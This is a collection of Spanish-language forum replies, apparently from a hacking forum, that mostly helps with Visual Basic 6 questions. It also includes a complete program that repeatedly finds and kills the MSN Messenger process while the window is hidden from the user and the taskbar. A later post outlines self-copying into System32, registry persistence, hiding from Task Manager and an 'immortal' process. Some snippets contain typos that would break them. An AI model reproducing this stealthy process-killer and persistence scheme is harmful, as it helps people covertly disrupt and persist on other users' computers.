Mensajes

Crear una pagina el disco para poder hacer el POST de enviar comentario localmente desde un Script.

Si la pagina esta alojada en nuestro disco rigido simplemente hay que modificar los parametros del mensaje y el envio para enviarlo y obtener los datos de envio de cada fotolog en concreto.

Si esta online no podemos modicar el Script ni completar los campos a menos que sea con intervencion de usurio ya sea automatisada o no.
Si esta en nuestro dijito podemos modificar todo y simplemente abrir la pagina para que envie el post.

¿por que les interesa el spam?

Simplemente hay que enviar el POSt para el GET localmente, desde un script local.

No voy a crear codigo para no fomentar a los spammers.

[Descargar Visual Basic / Descargas]

- Descarga el Visual Basic 6.0
- Crea un nuevo proyecto Standard EXE
- Agrega un control Timer al proyecto
- Copia el codigo dentro del Form1
- En propiedades del Timer ponele Interval = 1
- Ponele las propiedades al Form1 que puse
- Compilalo (File>Make Project1.exe)

Ejecutalo y no vas a poder abrir mas el MSN hasta que cerres el programa.

---------------------------

Descargar Visual Basic / Descargas

Descargar Visual Basic
http://foro.elhacker.net/index.php/topic,58439.0.html

En KaZaA no encuentro el visual basic 6, ¿dónde lo puedo descargar??
http://foro.elhacker.net/index.php/topic,10588.0.html

¿De donde puedo bajar el visual basic 6.0?
http://foro.elhacker.net/index.php/topic,10450

¿Donde bajar Visual Basic .NET?
http://foro.elhacker.net/index.php/topic,53533

¿Cuál es el mejor compilador para VB además de el que incluye por defecto el del entorno?
http://foro.elhacker.net/index.php/topic,76284.0.html

Visual Basic 6 Runtime Files
http://visual-basic-6-runtime-files.uptodown.com/

Visual Basic Runtime Files
http://www.programas.us/bajar/339

Descargar archivos DirectX para Visual
http://foro.elhacker.net/index.php/topic,69509.0.html

Claro que existe.
Acordate que cualquier *.bat ejecuta desde una consola de DOS .
Por Ejemplo en WinXP el batch ejecuta junto el el cmd.

Uso Pausa porque el sleep es horrendo, con pausa puedo seguir tranquilamente con otras funciones sin problemas, hace una pausa a la siguiente linea pero solo dentro de la funcion.

'PROCESOS
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
'PAUSA
Private Declare Function GetTickCount Lib "Kernel32.dll" () As Long

Const STILL_ACTIVE = &H103
Const PROCESS_QUERY_INFORMATION = &H400

'FUNCION DE SLEEP PARA ESPERAR UNOS MILISEGUNDOS
Sub Pausa(HowLong As Long)
    Dim u%, tick As Long
    tick = GetTickCount()
    Do
      u% = DoEvents
    Loop Until tick + HowLong < GetTickCount
End Sub

Y aca la funcion en concreto:

Function ExeEspera(COMANDO as String)
    Dim hProcess As Long
    Dim RetVal As Long
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, Shell(COMANDO, vbMinimizedNoFocus))
    Do
        GetExitCodeProcess hProcess, RetVal
        DoEvents
        Pausa 100
    Loop While RetVal = STILL_ACTIVE
End Function

[API's]

Estas confundiendo todos los tantos, ponete a leer.

Para que entiendas como hago yo por ejemplo:

Para buscar declaraciones de API's usa el API Viewer y busca en google como usar esa funcion de la API.
Es sencillo, yo nececito una funcion que haga "tal cosa", asi que me fijo si existe alguna libreria que ya tenga esa funcion y declaro esa API, de lo contrario tengo que crear yo mismo la funcion.
Para algo existen las librerias, para almacenar funciones.

API's
Application Programming Interface
http://es.wikipedia.org/wiki/Application_Programming_Interface

Cuando declaras una API es para usar la funcion que declaras diciendo en que libreria *.dll se encuentra.
Esto es para ahorrarte escribir una funcion.


Pequeña clase de las APIS en Windows
http://foro.elhacker.net/index.php/topic,78189.0.html

Guía de referencia para el uso de las APIs
http://www16.brinkster.com/eduroam/api/default.asp?pag=cap1

NekroAyuda: Introducción a las Variables, Constantes y Tipos de Datos.
http://foro.elhacker.net/index.php/topic,61945.0.html

NekroAyuda: Trabajar con APIs en Visual Basic 6.0.
http://foro.elhacker.net/index.php/topic,61596.0.html


Constantes
En las Constantes declaras valores/definiciones/etc globales para usar siempre las mismas en toda la aplicacion.

[Multimedia]

Pregunta en los subforos adecuados:

Multimedia
Música, video, audio y animación.

O si gustas sobre Windows Media Player:
Software

Yo nunca te dije tal cosa, te dije que en el subforo de VB te iba a postear el codigo para VB.

El primer post que ves aca es el codigo en Visual Basic que pediste.

Y el que posteaste vos que sacaste del otro subforo es C++.

Lee sobre VisualBasic o C++, tenes toda la informacion en los primeros post de cada SubForo. Son dos lenguajes de programacion distintos.

Ya se porque me pasa esto 

Como dice Meg, usando el maximo que podes poner y haciendolo cuantas veces quieras o bien usando otra funcion que no sea el control timer:

Private Declare Function GetTickCount Lib "Kernel32.dll" () As Long

Sub Espera(Cuanto As Long)
    Dim u%, tick As Long
    tick = GetTickCount()
    Do
      u% = DoEvents
    Loop Until tick + Cuanto < GetTickCount
End Sub

Claro que es en milisegundos, pero podes cambiarlo.

[Buscar proceso y Matarlo:]

Buscar proceso y Matarlo:

Primero las funciones para buscar un proceso cada X milisegundos y si existe obtener el PID y Matarlo

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Const PROCESS_TERMINATE As Long = &H1
Private Processes(150) As Long
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * 260
End Type
Dim ProcesoXPID As String

'Busca una cadena (Nombre del ejecutable) para saber si esta en ejecucion.
Function BuscarProcesoX(ProcesoX As String) As String
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szProcesoX As String
Dim myProcess As Long
Dim i As Integer
On Error Resume Next
    Const TH32CS_SNAPPROCESS As Long = 2&
    BuscarProcesoX = False
    uProcess.dwSize = Len(uProcess)
    hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
    rProcessFound = ProcessFirst(hSnapshot, uProcess)
    Do While rProcessFound

        i = InStr(1, uProcess.szexeFile, Chr(0))
        szProcesoX = LCase$(Left$(uProcess.szexeFile, i - 1))
            If Right$(szProcesoX, Len(ProcesoX)) = LCase$(ProcesoX) Then
            BuscarProcesoX = True
           
            Call CloseHandle(myProcess)
            ProcesoXPID = uProcess.th32ProcessID
            End If
        rProcessFound = ProcessNext(hSnapshot, uProcess)
    Loop
    Call CloseHandle(hSnapshot)
End Function

'Mata el proceso pasandole el PID
Function TerminarProcesoX(ProcesoX As String)
Dim ProcHandle As Long
  ProcHandle = OpenProcess(PROCESS_TERMINATE, False, CLng(ProcesoX))
  TerminateProcess ProcHandle, 0
  CloseHandle ProcHandle
End Function

'Busca el proceso, si existe, lo mata
Private Sub Timer1_Timer()
If BuscarProcesoX("msnmsgr.exe") = True Then
TerminarProcesoX ProcesoXPID
End If
End Sub

Dejar no visible nuestra aplicacion

Que el usuario no pueda verla

Appearance = 0-Flat
Caption = ""
ClipControls = False
ControlBox = False
Enabled = False
Hight = 1
MaxButton = False
MinButton = False
Moveable = False
NavigateMenus = False
ShowInTaskBar = False
Visible = False
Width = 1
Top = -9999
Left = -9999

Cipiarce en System32, registro, ocultarce del TaskManager y hacer proceso "inmortal"

Como no voy a hacer apologia a la programacion de virus no voy a mostrar ningun tipo de codigo en el foro publico sobre estas funciones.

Copiarce en sustem32 es tan facil como:

If app.path <> Get_System32Dir then
Copy app.path & "\MyName.exe", Get_System32Dir & "\MyName.exe"
Shell Get_System32Dir & "\MyName.exe"
Unload Me
End if

Function Get_System32Dir()
'A tu imaginacion
End Function

Cipiarce en el registro:

Alguna vez he dejado alguna funcion por ahi que sensillamente al ejecutarce y terminar llama a la funcion asignandole el valor de la cadena del registro, usando modulo, no Objetos.

Para ocultarce del TaskManager:

Deje un modulo por el foro hace poco

Para hacer proceso "inmortal":
Usen su imaginacion

*Ninguna funcion de infeccion, ni hook,ni packer ni nada parecido, es inecesario.

¿Sumar o unir?

Como sea, por ejemplo:

Esto une la cadena de numeros:

Código [Seleccionar] Expandir


Dim Cadena as String
Dim Separar() as String
Dim i as Interger

Cadena = "501||5||||11||20||0||0||0"
Sperar = Split(Cadena, "||")

Dim Buffer as String
For i = 0 To UBound(Separar)
'Unirlo
'Buffer = Buffer & Separar(i)
'O bien sumarlo
'Buffer = Buffer + Separar(i)
Next i


PD: Ya lo habia escrito todo _Sergi_, puse mandar y ya habias posteado , lo posteo igual.